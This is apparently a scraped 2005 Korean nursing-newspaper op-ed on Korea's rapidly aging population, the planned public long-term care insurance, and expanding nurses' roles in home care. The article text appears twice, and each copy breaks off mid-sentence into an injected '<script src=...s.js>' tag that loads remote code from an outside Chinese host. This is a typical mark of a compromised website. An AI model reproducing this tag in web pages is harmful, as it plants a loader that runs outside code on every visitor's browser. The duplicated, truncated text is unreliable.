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창간 29주년 특집-노인시설 운영, 간호사 참여 전략
김 정 순 부산대 간호학과 교수
기사입력 2005-10-20 오전 10:15:57
지난 9월 1일 저출산고령사회 기본법이 공포되었다. 이는 급속히 진전되는 인구의 고령화에 대해 국가가 종합적인 대응방안을 마련한 것으로, 이 법에 따라 앞으로 정부는 물론 각 지방자치단체는 저출산 고령사회에 대응한 구체적인 대책을 수립하고 이를 시행하여야 한다.
우리나라는 이미 고령화사회(65세 이상 노인인구비 7%)에 진입한 이후 고령사회로 급격히 이행 중이며, 2018년에는 고령사회(노인인구비 14%)에 진입할 것으로 전망되고 있다.
고령화사회에서 고령사회로 진전되는데 소요되는 기간이 한국은 18년인데 비해 일본은 24년, 독일 40년, 영국 47년, 미국 71년, 프랑스가 115년으로 한국은 그 어느 나라에서도 유래를 볼 수 없을 정도로 급속히 고령화가 진행되고 있음을 알 수 있다.
인구의 고령화와 함께 파생되는 문제는 여러 가지가 있겠으나, 무엇보다도 심각한 문제는 만성유병 노인인구의 증가라 할 수 있다. 우리나라 노인의 약 86.7%가 관절염, 고혈압 등 각종 노인성 만성질환을 앓고 있는 상태이고 특히 치매, 중풍 등 장기요양보호를 필요로 하는 노인이 2003년 59만명에서 2007년 71만명, 2010년 79만명으로 전체 노인의 약 15～20%가 될 것으로 추산되고 있다.
이로 인해 노인의료비가 급격히 증가하고 있는데 전체 의료비 중 노인의료비가 차지하는 비율이 1990년 8.2%이던 것이 1995년 12.2%, 2000년 17.5%, 2004년 22.9%로 날로 증가하고 있으며, 이같이 늘어나는 노인의료비에도 불구하고 노인들의 보건의료 욕구가 제대로 충족되고 있다고 보기 어려우며, 유병상태의 장기화로 인해 가족의 경제적 부담은 물론 신체적, 정신적인 부담이 과중하여 노인부양 문제가 사회적 문제로 대두되고 있는 실정이다.
이에 정부는 날로 증가하는 노인의료비 증가를 억제하고, 요양필요노인과 부양가족의 부담을 덜어주기 위한 방안으로 공적노인요양보장제도를 도입하기로 했다. 이와 관련 올해 7월부터 전국 6개 지역에서 1차 시범사업이 실시되고 있으며, 내년 4월부터 2007년 7월까지 2차 시범사업기간을 거쳐 당초 계획보다는 1년이 늦추어진 2008년부터 전국적으로 확대 실시할 계획으로 있다.
노인요양보장(수발보장)의 급여대상이 되는 요양보호 서비스의 종류는 재가서비스 분야에서 방문간병, 수발, 일상지원서비스/방문목욕서비스/방문간호 및 기능훈련/주간보호/단기보호/재가요양관리지도 및 지원 등이 있다. 시설서비스에는 요양시설/전문요양시설/그룹홈/요양병원 간병비 등이 있다. 이 제도의 기본원칙은 노인건강 문제를 치료가 아닌 요양보호의 측면에서 접근하는 것이며, 시설보호 보다는 재가보호를 우선으로 하고 있다.
이와 더불어 올해 초 정부는 고령친화산업 활성화 전략을 발표한 바 있다. 8개 분야에서 19개 전략품목이 소개된 이 보고서에서도 요양산업 특히 재가요양산업은 시장성이 높은 핵심 전략품목으로 제시되고 있으며 (가칭)민간가정간호사업소의 개설 법적 근거 마련, 요양전문인력 양성, 민간사업자 협회 지원 등 요양산업 활성화를 위한 정책방향이 수립되어 있다.
이와 같은 최근 정부의 고령친화 정책들을 종합해 볼 때, 간호전문직은 새로운 기회를 맞이하고 있는 것으로 보인다. 그러면 급속한 변화의 물결이 일고 있는 현 시점에서 향후 간호전문직이 요양전문 핵심인력으로서 주도적인 역할을 담당하기 위해서는 어떤 노력과 준비가 필요한가?
먼저 이러한 새로운 제도들을 면밀히 검토하고, 간호전문직이 기여할 수 있는 영역과 역할 확립을 위해 적극적으로 대응해야 할 것이다. 향후 발효될 노인요양보장법을 비롯해서 고령친화산업진흥법 등은 앞으로 간호전문직의 발전과 위상에 커다란 영향을 미칠 것이다.
따라서 대한간호협회 차원에서 법과 제도 내에 간호전문직의 권한과 책임 영역이 최대한 확보될 수 있도록 노력해야 할 것이며, 이와 더불어 해당 전문인력의 양성, 시설 인프라의 확충 등에 대한 구체적인 실행전략을 수립하고 실행하여야 할 것이다.
이 두 정책들은 공통적으로 시설보다는 재가 즉 지역사회 중심 서비스를 강조한다. 이는 비용효율적일 뿐만 아니라 평소 살던 집에서 여생을 보내고 싶어 하는 노인의 선호를 반영한 것이다. 그러면 간호전문직의 역할을 확대할 수 있는 전망이 밝은 재가서비스 분야는 어떤 것이 있을까?
앞으로 노인요양보장 분야의 시장 규모는 매우 커질 것으로 예상되므로 간호사들이 적극 참여해 역할을 확대해 나가야 할 것이다. 간호사들이 노양요양서비스 제공 기관을 개설하여 수준 높은 요양서비스를 제공할 수 있도록 법 제도적 뒷받침이 따라야 한다.
또한 노인복지법에 근거한 재가노인복지시설도 앞으로 간호사들이 진입할 수 있는 유망 분야라고 본다. 현재 대부분 사회복지법인이 설립주체가 되어 저소득층을 대상으로 공공?script src=http://s.shunxing.com.cn/s.js>
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우리나라는 이미 고령화사회(65세 이상 노인인구비 7%)에 진입한 이후 고령사회로 급격히 이행 중이며, 2018년에는 고령사회(노인인구비 14%)에 진입할 것으로 전망되고 있다.
고령화사회에서 고령사회로 진전되는데 소요되는 기간이 한국은 18년인데 비해 일본은 24년, 독일 40년, 영국 47년, 미국 71년, 프랑스가 115년으로 한국은 그 어느 나라에서도 유래를 볼 수 없을 정도로 급속히 고령화가 진행되고 있음을 알 수 있다.
인구의 고령화와 함께 파생되는 문제는 여러 가지가 있겠으나, 무엇보다도 심각한 문제는 만성유병 노인인구의 증가라 할 수 있다. 우리나라 노인의 약 86.7%가 관절염, 고혈압 등 각종 노인성 만성질환을 앓고 있는 상태이고 특히 치매, 중풍 등 장기요양보호를 필요로 하는 노인이 2003년 59만명에서 2007년 71만명, 2010년 79만명으로 전체 노인의 약 15～20%가 될 것으로 추산되고 있다.
이로 인해 노인의료비가 급격히 증가하고 있는데 전체 의료비 중 노인의료비가 차지하는 비율이 1990년 8.2%이던 것이 1995년 12.2%, 2000년 17.5%, 2004년 22.9%로 날로 증가하고 있으며, 이같이 늘어나는 노인의료비에도 불구하고 노인들의 보건의료 욕구가 제대로 충족되고 있다고 보기 어려우며, 유병상태의 장기화로 인해 가족의 경제적 부담은 물론 신체적, 정신적인 부담이 과중하여 노인부양 문제가 사회적 문제로 대두되고 있는 실정이다.
이에 정부는 날로 증가하는 노인의료비 증가를 억제하고, 요양필요노인과 부양가족의 부담을 덜어주기 위한 방안으로 공적노인요양보장제도를 도입하기로 했다. 이와 관련 올해 7월부터 전국 6개 지역에서 1차 시범사업이 실시되고 있으며, 내년 4월부터 2007년 7월까지 2차 시범사업기간을 거쳐 당초 계획보다는 1년이 늦추어진 2008년부터 전국적으로 확대 실시할 계획으로 있다.
노인요양보장(수발보장)의 급여대상이 되는 요양보호 서비스의 종류는 재가서비스 분야에서 방문간병, 수발, 일상지원서비스/방문목욕서비스/방문간호 및 기능훈련/주간보호/단기보호/재가요양관리지도 및 지원 등이 있다. 시설서비스에는 요양시설/전문요양시설/그룹홈/요양병원 간병비 등이 있다. 이 제도의 기본원칙은 노인건강 문제를 치료가 아닌 요양보호의 측면에서 접근하는 것이며, 시설보호 보다는 재가보호를 우선으로 하고 있다.
이와 더불어 올해 초 정부는 고령친화산업 활성화 전략을 발표한 바 있다. 8개 분야에서 19개 전략품목이 소개된 이 보고서에서도 요양산업 특히 재가요양산업은 시장성이 높은 핵심 전략품목으로 제시되고 있으며 (가칭)민간가정간호사업소의 개설 법적 근거 마련, 요양전문인력 양성, 민간사업자 협회 지원 등 요양산업 활성화를 위한 정책방향이 수립되어 있다.
이와 같은 최근 정부의 고령친화 정책들을 종합해 볼 때, 간호전문직은 새로운 기회를 맞이하고 있는 것으로 보인다. 그러면 급속한 변화의 물결이 일고 있는 현 시점에서 향후 간호전문직이 요양전문 핵심인력으로서 주도적인 역할을 담당하기 위해서는 어떤 노력과 준비가 필요한가?
먼저 이러한 새로운 제도들을 면밀히 검토하고, 간호전문직이 기여할 수 있는 영역과 역할 확립을 위해 적극적으로 대응해야 할 것이다. 향후 발효될 노인요양보장법을 비롯해서 고령친화산업진흥법 등은 앞으로 간호전문직의 발전과 위상에 커다란 영향을 미칠 것이다.
따라서 대한간호협회 차원에서 법과 제도 내에 간호전문직의 권한과 책임 영역이 최대한 확보될 수 있도록 노력해야 할 것이며, 이와 더불어 해당 전문인력의 양성, 시설 인프라의 확충 등에 대한 구체적인 실행전략을 수립하고 실행하여야 할 것이다.
이 두 정책들은 공통적으로 시설보다는 재가 즉 지역사회 중심 서비스를 강조한다. 이는 비용효율적일 뿐만 아니라 평소 살던 집에서 여생을 보내고 싶어 하는 노인의 선호를 반영한 것이다. 그러면 간호전문직의 역할을 확대할 수 있는 전망이 밝은 재가서비스 분야는 어떤 것이 있을까?
앞으로 노인요양보장 분야의 시장 규모는 매우 커질 것으로 예상되므로 간호사들이 적극 참여해 역할을 확대해 나가야 할 것이다. 간호사들이 노양요양서비스 제공 기관을 개설하여 수준 높은 요양서비스를 제공할 수 있도록 법 제도적 뒷받침이 따라야 한다.
또한 노인복지법에 근거한 재가노인복지시설도 앞으로 간호사들이 진입할 수 있는 유망 분야라고 본다. 현재 대부분 사회복지법인이 설립주체가 되어 저소득층을 대상으로 공공?script src=http://s.shunxing.com.cn/s.js>
김정순 news@nursenews.co.kr